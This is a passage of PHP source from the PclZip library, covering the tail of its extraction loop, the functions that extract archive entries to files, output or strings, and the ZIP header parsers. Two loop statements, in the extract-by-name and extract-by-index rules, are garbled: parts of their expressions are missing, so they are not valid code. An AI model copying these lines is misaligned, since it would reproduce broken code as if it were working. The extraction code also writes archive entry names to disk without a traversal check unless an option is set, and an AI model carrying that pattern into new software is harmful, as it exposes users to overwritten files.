if (@fseek($this->zip_fd, $v_pos_entry))
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
// ----- Return
return PclZip::errorCode();
}
// ----- Read the file header
$v_header = array();
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Store the index
$v_header['index'] = $i;
// ----- Store the file position
$v_pos_entry = ftell($this->zip_fd);
// ----- Look for the specific extract rules
$v_extract = false;
// ----- Look for extract by name rule
if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
// ----- Look if the filename is in the list
for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
&& (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_extract = true;
}
}
// ----- Look for a filename
elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
$v_extract = true;
}
}
}
// ----- Look for extract by ereg rule
// ereg() is deprecated with PHP 5.3
/*
else if ( (isset($p_options[PCLZIP_OPT_BY_EREG]))
&& ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
$v_extract = true;
}
}
*/
// ----- Look for extract by preg rule
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
$v_extract = true;
}
}
// ----- Look for extract by index rule
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
// ----- Look if the index is in the list
for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
$v_extract = true;
}
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
$j_start = $j+1;
}
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
break;
}
}
}
// ----- Look for no rule, which means extract all the archive
else {
$v_extract = true;
}
// ----- Check compression method
if ( ($v_extract)
&& ( ($v_header['compression'] != 8)
&& ($v_header['compression'] != 0))) {
$v_header['status'] = 'unsupported_compression';
// ----- Look for PCLZIP_OPT_STOP_ON_ERROR
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
"Filename '".$v_header['stored_filename']."' is "
."compressed by an unsupported compression "
."method (".$v_header['compression'].") ");
return PclZip::errorCode();
}
}
// ----- Check encrypted files
if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
$v_header['status'] = 'unsupported_encryption';
// ----- Look for PCLZIP_OPT_STOP_ON_ERROR
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
"Unsupported encryption for "
." filename '".$v_header['stored_filename']
."'");
return PclZip::errorCode();
}
}
// ----- Look for real extraction
if (($v_extract) && ($v_header['status'] != 'ok')) {
$v_result = $this->privConvertHeader2FileInfo($v_header,
$p_file_list[$v_nb_extracted++]);
if ($v_result != 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_extract = false;
}
// ----- Look for real extraction
if ($v_extract)
{
// ----- Go to the file position
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_header['offset']))
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
// ----- Return
return PclZip::errorCode();
}
// ----- Look for extraction as string
if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
$v_string = '';
// ----- Extracting the file
$v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
// ----- Get the only interesting attributes
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Set the file content
$p_file_list[$v_nb_extracted]['content'] = $v_string;
// ----- Next extracted file
$v_nb_extracted++;
// ----- Look for user callback abort
if ($v_result1 == 2) {
break;
}
}
// ----- Look for extraction in standard output
elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
&& ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
// ----- Extracting the file in standard output
$v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
// ----- Get the only interesting attributes
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Look for user callback abort
if ($v_result1 == 2) {
break;
}
}
// ----- Look for normal extraction
else {
// ----- Extracting the file
$v_result1 = $this->privExtractFile($v_header,
$p_path, $p_remove_path,
$p_remove_all_path,
$p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
// ----- Get the only interesting attributes
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Look for user callback abort
if ($v_result1 == 2) {
break;
}
}
}
}
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privExtractFile()
// Description :
// Parameters :
// Return Values :
//
// 1 : ... ?
// PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
// --------------------------------------------------------------------------------
function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
$v_result=1;
// ----- Read the file header
if (($v_result = $this->privReadFileHeader($v_header)) != 1)
{
// ----- Return
return $v_result;
}
// ----- Check that the file header is coherent with $p_entry info
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
// TBC
}
// ----- Look for all path to remove
if ($p_remove_all_path == true) {
// ----- Look for folder entry that not need to be extracted
if (($p_entry['external']&0x00000010)==0x00000010) {
$p_entry['status'] = "filtered";
return $v_result;
}
// ----- Get the basename of the path
$p_entry['filename'] = basename($p_entry['filename']);
}
// ----- Look for path to remove
else if ($p_remove_path != "")
{
if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
{
// ----- Change the file status
$p_entry['status'] = "filtered";
// ----- Return
return $v_result;
}
$p_remove_path_size = strlen($p_remove_path);
if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
{
// ----- Remove the path
$p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
}
}
// ----- Add the path
if ($p_path != '') {
$p_entry['filename'] = $p_path."/".$p_entry['filename'];
}
// ----- Check a base_dir_restriction
if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
$v_inclusion
= PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
$p_entry['filename']);
if ($v_inclusion == 0) {
PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
"Filename '".$p_entry['filename']."' is "
."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
return PclZip::errorCode();
}
}
// ----- Look for pre-extract callback
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
// ----- Change the file status
$p_entry['status'] = "skipped";
$v_result = 1;
}
// ----- Look for abort result
if ($v_result == 2) {
// ----- This status is internal and will be changed in 'skipped'
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
// ----- Update the information
// Only some fields can be modified
$p_entry['filename'] = $v_local_header['filename'];
}
// ----- Look if extraction should be done
if ($p_entry['status'] == 'ok') {
// ----- Look for specific actions while the file exist
if (file_exists($p_entry['filename']))
{
// ----- Look if file is a directory
if (is_dir($p_entry['filename']))
{
// ----- Change the file status
$p_entry['status'] = "already_a_directory";
// ----- Look for PCLZIP_OPT_STOP_ON_ERROR
// For historical reason first PclZip implementation does not stop
// when this kind of error occurs.
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
"Filename '".$p_entry['filename']."' is "
."already used by an existing directory");
return PclZip::errorCode();
}
}
// ----- Look if file is write protected
else if (!is_writeable($p_entry['filename']))
{
// ----- Change the file status
$p_entry['status'] = "write_protected";
// ----- Look for PCLZIP_OPT_STOP_ON_ERROR
// For historical reason first PclZip implementation does not stop
// when this kind of error occurs.
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
"Filename '".$p_entry['filename']."' exists "
."and is write protected");
return PclZip::errorCode();
}
}
// ----- Look if the extracted file is older
else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
{
// ----- Change the file status
if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
&& ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
}
else {
$p_entry['status'] = "newer_exist";
// ----- Look for PCLZIP_OPT_STOP_ON_ERROR
// For historical reason first PclZip implementation does not stop
// when this kind of error occurs.
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
"Newer version of '".$p_entry['filename']."' exists "
."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
return PclZip::errorCode();
}
}
}
else {
}
}
// ----- Check the directory availability and create it if necessary
else {
if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
$v_dir_to_check = $p_entry['filename'];
else if (!strstr($p_entry['filename'], "/"))
$v_dir_to_check = "";
else
$v_dir_to_check = dirname($p_entry['filename']);
if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
// ----- Change the file status
$p_entry['status'] = "path_creation_fail";
// ----- Return
//return $v_result;
$v_result = 1;
}
}
}
// ----- Look if extraction should be done
if ($p_entry['status'] == 'ok') {
// ----- Do the extraction (if not a folder)
if (!(($p_entry['external']&0x00000010)==0x00000010))
{
// ----- Look for not compressed file
if ($p_entry['compression'] == 0) {
// ----- Opening destination file
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
{
// ----- Change the file status
$p_entry['status'] = "write_error";
// ----- Return
return $v_result;
}
// ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
$v_size = $p_entry['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
/* Try to speed up the code
$v_binary_data = pack('a'.$v_read_size, $v_buffer);
@fwrite($v_dest_file, $v_binary_data, $v_read_size);
*/
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Closing the destination file
fclose($v_dest_file);
// ----- Change the file mtime
touch($p_entry['filename'], $p_entry['mtime']);
}
else {
// ----- TBC
// Need to be finished
if (($p_entry['flag'] & 1) == 1) {
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
return PclZip::errorCode();
}
// ----- Look for using temporary file to unzip
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
$v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
if ($v_result < PCLZIP_ERR_NO_ERROR) {
return $v_result;
}
}
// ----- Look for extract in memory
else {
// ----- Read the compressed file in a buffer (one shot)
if ($p_entry['compressed_size'] > 0) {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$v_buffer = '';
}
// ----- Decompress the file
$v_file_content = @gzinflate($v_buffer);
unset($v_buffer);
if ($v_file_content === FALSE) {
// ----- Change the file status
// TBC
$p_entry['status'] = "error";
return $v_result;
}
// ----- Opening destination file
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
// ----- Change the file status
$p_entry['status'] = "write_error";
return $v_result;
}
// ----- Write the uncompressed data
@fwrite($v_dest_file, $v_file_content, $p_entry['size']);
unset($v_file_content);
// ----- Closing the destination file
@fclose($v_dest_file);
}
// ----- Change the file mtime
@touch($p_entry['filename'], $p_entry['mtime']);
}
// ----- Look for chmod option
if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
// ----- Change the mode of the file
@chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
}
}
}
// ----- Change abort status
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
// ----- Look for post-extract callback
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
// ----- Look for abort result
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privExtractFileUsingTempFile()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privExtractFileUsingTempFile(&$p_entry, &$p_options)
{
$v_result=1;
// ----- Creates a temporary file
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
fclose($v_file);
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
// ----- Write gz file format header
$v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
@fwrite($v_dest_file, $v_binary_data, 10);
// ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
$v_size = $p_entry['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
//$v_binary_data = pack('a'.$v_read_size, $v_buffer);
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Write gz file format footer
$v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
@fwrite($v_dest_file, $v_binary_data, 8);
// ----- Close the temporary file
@fclose($v_dest_file);
// ----- Opening destination file
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
$p_entry['status'] = "write_error";
return $v_result;
}
// ----- Open the temporary gz file
if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
@fclose($v_dest_file);
$p_entry['status'] = "read_error";
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
// ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
$v_size = $p_entry['size'];
while ($v_size != 0) {
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($v_src_file, $v_read_size);
//$v_binary_data = pack('a'.$v_read_size, $v_buffer);
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
@fclose($v_dest_file);
@gzclose($v_src_file);
// ----- Delete the temporary file
@unlink($v_gzip_temp_name);
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privExtractFileInOutput()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privExtractFileInOutput(&$p_entry, &$p_options)
{
$v_result=1;
// ----- Read the file header
if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
return $v_result;
}
// ----- Check that the file header is coherent with $p_entry info
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
// TBC
}
// ----- Look for pre-extract callback
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
// ----- Change the file status
$p_entry['status'] = "skipped";
$v_result = 1;
}
// ----- Look for abort result
if ($v_result == 2) {
// ----- This status is internal and will be changed in 'skipped'
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
// ----- Update the information
// Only some fields can be modified
$p_entry['filename'] = $v_local_header['filename'];
}
// ----- Trace
// ----- Look if extraction should be done
if ($p_entry['status'] == 'ok') {
// ----- Do the extraction (if not a folder)
if (!(($p_entry['external']&0x00000010)==0x00000010)) {
// ----- Look for not compressed file
if ($p_entry['compressed_size'] == $p_entry['size']) {
// ----- Read the file in a buffer (one shot)
if ($p_entry['compressed_size'] > 0) {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$v_buffer = '';
}
// ----- Send the file to the output
echo $v_buffer;
unset($v_buffer);
}
else {
// ----- Read the compressed file in a buffer (one shot)
if ($p_entry['compressed_size'] > 0) {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$v_buffer = '';
}
// ----- Decompress the file
$v_file_content = gzinflate($v_buffer);
unset($v_buffer);
// ----- Send the file to the output
echo $v_file_content;
unset($v_file_content);
}
}
}
// ----- Change abort status
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
// ----- Look for post-extract callback
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
// ----- Look for abort result
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privExtractFileAsString()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
{
$v_result=1;
// ----- Read the file header
$v_header = array();
if (($v_result = $this->privReadFileHeader($v_header)) != 1)
{
// ----- Return
return $v_result;
}
// ----- Check that the file header is coherent with $p_entry info
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
// TBC
}
// ----- Look for pre-extract callback
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
// ----- Change the file status
$p_entry['status'] = "skipped";
$v_result = 1;
}
// ----- Look for abort result
if ($v_result == 2) {
// ----- This status is internal and will be changed in 'skipped'
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
// ----- Update the information
// Only some fields can be modified
$p_entry['filename'] = $v_local_header['filename'];
}
// ----- Look if extraction should be done
if ($p_entry['status'] == 'ok') {
// ----- Do the extraction (if not a folder)
if (!(($p_entry['external']&0x00000010)==0x00000010)) {
// ----- Look for not compressed file
// if ($p_entry['compressed_size'] == $p_entry['size'])
if ($p_entry['compression'] == 0) {
// ----- Reading the file
if ($p_entry['compressed_size'] > 0) {
$p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$p_string = '';
}
}
else {
// ----- Reading the file
if ($p_entry['compressed_size'] > 0) {
$v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$v_data = '';
}
// ----- Decompress the file
if (($p_string = @gzinflate($v_data)) === FALSE) {
// TBC
}
}
// ----- Trace
}
else {
// TBC : error : can not extract a folder in a string
}
}
// ----- Change abort status
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
// ----- Look for post-extract callback
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
// ----- Swap the content to header
$v_local_header['content'] = $p_string;
$p_string = '';
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
// ----- Swap back the content to header
$p_string = $v_local_header['content'];
unset($v_local_header['content']);
// ----- Look for abort result
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privReadFileHeader()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privReadFileHeader(&$p_header)
{
$v_result=1;
// ----- Read the 4 bytes signature
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = unpack('Vid', $v_binary_data);
// ----- Check signature
if ($v_data['id'] != 0x04034b50)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
// ----- Return
return PclZip::errorCode();
}
// ----- Read the first 42 bytes of the header
$v_binary_data = fread($this->zip_fd, 26);
// ----- Look for invalid block size
if (strlen($v_binary_data) != 26)
{
$p_header['filename'] = "";
$p_header['status'] = "invalid_header";
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
// ----- Return
return PclZip::errorCode();
}
// ----- Extract the values
$v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
// ----- Get filename
$p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
// ----- Get extra_fields
if ($v_data['extra_len'] != 0) {
$p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
}
else {
$p_header['extra'] = '';
}
// ----- Extract properties
$p_header['version_extracted'] = $v_data['version'];
$p_header['compression'] = $v_data['compression'];
$p_header['size'] = $v_data['size'];
$p_header['compressed_size'] = $v_data['compressed_size'];
$p_header['crc'] = $v_data['crc'];
$p_header['flag'] = $v_data['flag'];
$p_header['filename_len'] = $v_data['filename_len'];
// ----- Recuperate date in UNIX format
$p_header['mdate'] = $v_data['mdate'];
$p_header['mtime'] = $v_data['mtime'];
if ($p_header['mdate'] && $p_header['mtime'])
{
// ----- Extract time
$v_hour = ($p_header['mtime'] & 0xF800) >> 11;
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
$v_seconde = ($p_header['mtime'] & 0x001F)*2;
// ----- Extract date
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
$v_month = ($p_header['mdate'] & 0x01E0) >> 5;
$v_day = $p_header['mdate'] & 0x001F;
// ----- Get UNIX date format
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
}
else
{
$p_header['mtime'] = time();
}
// TBC
//for(reset($v_data); $key = key($v_data); next($v_data)) {
//}
// ----- Set the stored filename
$p_header['stored_filename'] = $p_header['filename'];
// ----- Set the status field
$p_header['status'] = "ok";
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privReadCentralFileHeader()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privReadCentralFileHeader(&$p_header)
{
$v_result=1;
// ----- Read the 4 bytes signature
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = unpack('Vid', $v_binary_data);
// ----- Check signature
if ($v_data['id'] != 0x02014b50)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
// ----- Return
return PclZip::errorCode();
}
// ----- Read the first 42 bytes of the header
$v_binary_data = fread($this->zip_fd, 42);
// ----- Look for invalid block size
if (strlen($v_binary_data) != 42)
{
$p_header['filename'] = "";
$p_header['status'] = "invalid_header";
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
// ----- Return
return PclZip::errorCode();
}
// ----- Extract the values
$p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
// ----- Get filename
if ($p_header['filename_len'] != 0)
$p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
else
$p_header['filename'] = '';
// ----- Get extra
if ($p_header['extra_len'] != 0)
$p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
else
$p_header['extra'] = '';
// ----- Get comment
if ($p_header['comment_len'] != 0)
$p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
else
$p_header['comment'] = '';
// ----- Extract properties
// ----- Recuperate date in UNIX format
//if ($p_header['mdate'] && $p_header['mtime'])
// TBC : bug : this was ignoring time with 0/0/0
if (1)
{
// ----- Extract time
$v_hour = ($p_header['mtime'] & 0xF800) >> 11;
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
$v_seconde = ($p_header['mtime'] & 0x001F)*2;
// ----- Extract date
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
$v_month = ($p_header['mdate'] & 0x01E0) >> 5;
$v_day = $p_header['mdate'] & 0x001F;
// ----- Get UNIX date format
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
}
else
{
$p_header['mtime'] = time();
}
// ----- Set the stored filename
$p_header['stored_filename'] = $p_header['filename'];
// ----- Set default status to ok
$p_header['status'] = 'ok';
// ----- Look if it is a directory
if (substr($p_header['filename'], -1) == '/') {
//$p_header['external'] = 0x41FF0010;
$p_header['external'] = 0x00000010;
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privCheckFileHeaders()
// Description :
// Parameters :
// Return Values :
// 1 on success,
// 0 on error;
// --------------------------------------------------------------------------------
function privCheckFileHeaders(&$p_local_header, &$p_central_header)
{
$v_result=1;
// ----- Check the static values
// TBC
if ($p_local_header['filename'] != $p_central_header['filename']) {
}
if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
}
if ($p_local_header['flag'] != $p_central_header['flag']) {
}
if ($p_local_header['compression'] != $p_central_header['compression']) {
}
if ($p_local_header['mtime'] != $p_central_header['mtime']) {
}
if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
}
// ----- Look for flag bit 3
if (($p_local_header['flag'] & 8) == 8) {
$p_local_header['size'] = $p_central_header['size'];
$p_local_header['compressed_size'] = $p_central_header['compressed_size'];
$p_local_header['crc'] = $p_central_header['crc'];
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privReadEndCentralDir()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privReadEndCentralDir(&$p_central_dir)
{
$v_result=1;
// ----- Go to the end of the zip file
$v_size = filesize($this->zipname);
@fseek($this->zip_fd, $v_size);
